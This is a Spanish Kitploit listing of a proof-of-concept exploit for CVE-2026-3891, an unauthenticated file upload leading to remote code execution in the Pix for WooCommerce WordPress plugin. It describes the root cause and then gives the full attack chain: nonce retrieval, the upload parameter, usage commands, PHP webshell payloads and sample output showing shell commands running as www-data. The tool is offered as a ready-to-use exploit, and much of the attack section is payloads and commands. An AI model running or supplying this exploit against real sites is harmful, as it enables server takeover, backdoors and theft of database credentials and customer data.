Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-3891 — PoC para CVE-2026-3891 – RCE de carga de archivos no autenticada en Pix para WooCommerce ≤ 1.5.0. Obtención automática de nonce, carga de PHP y ejecución de comandos. | Kitploit
Herramientas/GitHubGitHub/ch4120n/cve-2026-3891
ExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubch4120n/cve-2026-3891

CVE-2026-3891

PoC para CVE-2026-3891 – RCE de carga de archivos no autenticada en Pix para WooCommerce ≤ 1.5.0. Obtención automática de nonce, carga de PHP y ejecución de comandos.

Ver Repositorio
210hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🚀 CVE-2026-3891 – Subida de Archivos no Autenticada con RCE en Pix for WooCommerce

Python Exploit CVE

GitHub stars GitHub issues License

Exploit de prueba de concepto para CVE-2026-3891 – subida arbitraria de archivos no autenticada que conduce a la ejecución remota de código en el plugin de WordPress Pix for WooCommerce (≤ 1.5.0).


📖 Resumen

CVE-2026-3891 es una vulnerabilidad crítica en el plugin Pix for WooCommerce, que afecta a todas las versiones hasta la 1.5.0. El plugin no aplica las comprobaciones adecuadas de autorización y tipo de archivo en su manejador AJAX lkn_pix_for_woocommerce_c6_save_settings. Un atacante no autenticado puede abusar de esta falla para subir archivos PHP arbitrarios a un directorio de acceso público y lograr la ejecución remota de código en el servidor WordPress subyacente.

Este repositorio contiene un PoC de nivel de producción que automatiza toda la cadena de ataque, desde la obtención de un nonce válido hasta la subida de una webshell, con una gestión robusta de errores y una atractiva interfaz CLI.

🔍 Características principales

  • Realmente no autenticado – no se requieren credenciales de WordPress ni cookies de sesión.
  • Extracción automática de nonce – el exploit obtiene el nonce de seguridad necesario a través de la misma interfaz AJAX pública.
  • Subida de archivos multipart – construye correctamente el parámetro de archivo certificate_crt_path que espera el manejador vulnerable.
  • Generación directa de URL – proporciona inmediatamente la URL pública del payload subido.
  • Comprobaciones post-explotación – verificación opcional del éxito de la subida y ejecución de comandos sobre la marcha (--check).
  • Gestión avanzada de errores – maneja correctamente Cloudflare, WAFs, tiempos de espera y respuestas malformadas.
  • Salida limpia e informativa – todos los mensajes llevan el prefijo [ * ], [ + ], [ - ], [ ! ] para una legibilidad inmediata.

🧬 Detalles de la vulnerabilidad

La causa raíz reside en dos acciones AJAX registradas por el plugin:

1. lkn_pix_for_woocommerce_generate_nonce

add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

Esta acción está vinculada a wp_ajax_nopriv_*, lo que la hace accesible para visitantes no autenticados. Genera un nonce para la acción lkn_pix_for_woocommerce_c6_settings_nonce y lo devuelve en un envoltorio JSON:

{"success":true,"data":{"nonce":"abc123..."}}

No se realiza ninguna comprobación de privilegios ni autenticación de usuario: cualquiera puede solicitar un nonce válido.

2. lkn_pix_for_woocommerce_c6_save_settings

add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

Este manejador guarda la configuración del plugin, incluido un campo de subida de archivos llamado certificate_crt_path. Aunque la subida se realiza a través de la función auxiliar media_handle_upload de WordPress, el plugin no:

  • Verifica que la solicitud provenga de un usuario autenticado y autorizado (falta current_user_can).
  • Aplica restricciones de tipo o extensión de archivo (p. ej., permite archivos .php).
  • Almacena el archivo en una ubicación no ejecutable; termina en:
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    que es directamente accesible a través de la web.

Dado que el nonce solo protege contra CSRF y cualquiera puede obtenerlo, un atacante puede encadenar estas dos acciones para subir y ejecutar código PHP arbitrario.

Versiones afectadas

  • Pix for WooCommerce versiones ≤ 1.5.0
  • La vulnerabilidad se ha confirmado en instalaciones limpias de WordPress con configuraciones predeterminadas.

Impacto

  • Ejecución remota de código – acceso completo de webshell con los privilegios del servidor web (normalmente www-data o apache).
  • Exfiltración de datos – leer wp-config.php, credenciales de la base de datos, datos de clientes.
  • Persistencia – modificar archivos del núcleo, plantar backdoors.
  • Toma de control total del sitio – escalar a administrador de WordPress si la base de datos es accesible.

🛠️ Requisitos de explotación

  • Acceso a la red al sitio WordPress objetivo (sin necesidad de autenticación).
  • Python 3.8+ con la librería requests (instalar con pip install requests).
  • El objetivo debe tener instalado y activo el plugin vulnerable (la configuración predeterminada es suficiente).

🚀 Uso

Instalación

git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

Comando básico

python CVE-2026-3891.py http://target.com/wordpress

Para un mayor control, utiliza las opciones de línea de comandos:

python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

Ejemplo de salida

  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Opciones de línea de comandos

FlagDescripciónPor defecto
target (posicional)URL base del sitio de WordPress.Requerido
-f, --filenameNombre del archivo PHP a subir.woocommerce.php
-p, --payloadCódigo PHP a subir.<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeoutTiempo de espera de la solicitud en segundos.15
-r, --retriesReintentos máximos para la obtención del nonce.2
--no-bannerSuprime el arte ASCII.(desactivado)
--no-verifyOmite la comprobación de accesibilidad tras la subida.(desactivado)
--checkEjecuta id en la webshell tras la subida.(desactivado)

🧪 Detalles técnicos para detección y ajuste

Descargar herramienta